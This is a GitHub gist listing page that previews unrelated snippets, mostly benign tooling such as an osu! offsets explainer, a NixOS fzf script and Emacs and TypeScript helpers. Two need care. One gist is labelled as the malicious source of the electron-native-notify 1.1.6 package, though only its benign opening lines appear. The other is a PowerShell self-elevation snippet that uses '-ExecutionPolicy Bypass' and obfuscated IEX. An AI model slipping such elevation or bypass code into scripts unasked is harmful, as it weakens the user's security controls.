Skip to content

Instantly share code, notes, and snippets.

View ar1a's full-sized avatar

Aria Edmonds ar1a

View GitHub Profile
@smoogipoo
smoogipoo / offsets.md
Last active September 28, 2023 04:52
Master doc on offsets in osu!

Last updated: 2021-07-27

How offsets and latency work

This is the pictorial representation that I'll use to explain how a player's timings could come about:

            hitobject     track latency    beat (track)
               vvv             vvv             vvv
Track: ---------H---T---------H---T---------H---T---------H---T-------------
User: -------------K---S---------K---S---------K---S---------K---S---------
@Dinoxe
Dinoxe / Rafis-skins-s-superanckie-som.md
Last active January 23, 2024 18:26
Rafis osu skins super duper
@Brettm12345
Brettm12345 / nixos-option.sh
Last active February 4, 2021 13:30
nixos-option with fzf
#! /usr/bin/env nix-shell
#! nix-shell -i sh -p jq fzf
OPTION_CACHE="${XDG_CACHE_HOME:-$HOME/.cache}/nixos-options.json"
test -f "$OPTION_CACHE" || {
echo "Building cache..."
cp "$(export NIXPKGS_ALLOW_UNFREE=1; nix-build -Q --no-out-link '<nixpkgs/nixos/release.nix>' -A options)/share/doc/nixos/options.json" "$OPTION_CACHE"
}
OPTION=$(jq -r 'keys | join("\n")' "$OPTION_CACHE" | fzf --height "60%" --preview 'nixos-option {}')
@Brettm12345
Brettm12345 / validate.ts
Created September 20, 2019 08:08
Yup validate function with fp-ts
import { toError } from 'fp-ts/lib/Either';
import { tryCatch } from 'fp-ts/lib/TaskEither';
import { Schema } from 'yup';
const validate = <T extends Schema<any>>(constructor: T) => (input: any) =>
tryCatch<Error, T extends Schema<infer P> ? P : never>(
() => constructor.validate(input),
toError
);
@ievans
ievans / index.js
Created June 6, 2019 17:49
electron-native-notify-1.1.6 malicious source code
const MainProcessNotification = require("electron").Notification;
const isRenderer = process && process.type === "renderer";
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported();
const renderNotify = (title, body) => {
const notification = new Notification(title, {
body: body
});
return notification
};
try {
@tkrotoff
tkrotoff / FrontendFrameworksPopularity.md
Last active May 7, 2024 14:13
Front-end frameworks popularity (React, Vue, Angular and Svelte)
@blha303
blha303 / gmusicplay.py
Last active April 3, 2018 04:47
Google Music player in the terminal woopwoop | Individual song playback implemented, album support coming soon?
#!/usr/bin/env python3
from gmusicapi import Mobileclient
import os
from json import load
import sys
def mkdir_p(path):
import errno
try:
os.makedirs(path)
@hgiasac
hgiasac / init.el
Last active April 23, 2018 12:34
Emacs TSLint fix file hook
(defun tslint-fix-file ()
"Tslint fix file."
(interactive)
(message (concat "tslint --fixing the file " (buffer-file-name)))
(shell-command (concat "tslint --fix " (buffer-file-name))))
(defun tslint-fix-file-and-revert ()
"Format the current file with TSLint."
@atao
atao / RunAsAdmin.ps1
Last active October 1, 2023 19:34
🕵️ Self privileges escalation with PowerShell.
#Requires -RunAsAdministrator
#OneLine
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }
#Or
$Loc = Get-Location
"Security.Principal.Windows" | % { IEX "( [ $_`Principal ] [$_`Identity ]::GetCurrent() ).IsInRole( 'Administrator' )" } | ? {
$True | % { $Arguments = @('-NoProfile','-ExecutionPolicy Bypass','-NoExit','-File',"`"$($MyInvocation.MyCommand.Path)`"","\`"$Loc\`"");
Start-Process -FilePath PowerShell.exe -Verb RunAs -ArgumentList $Arguments; } }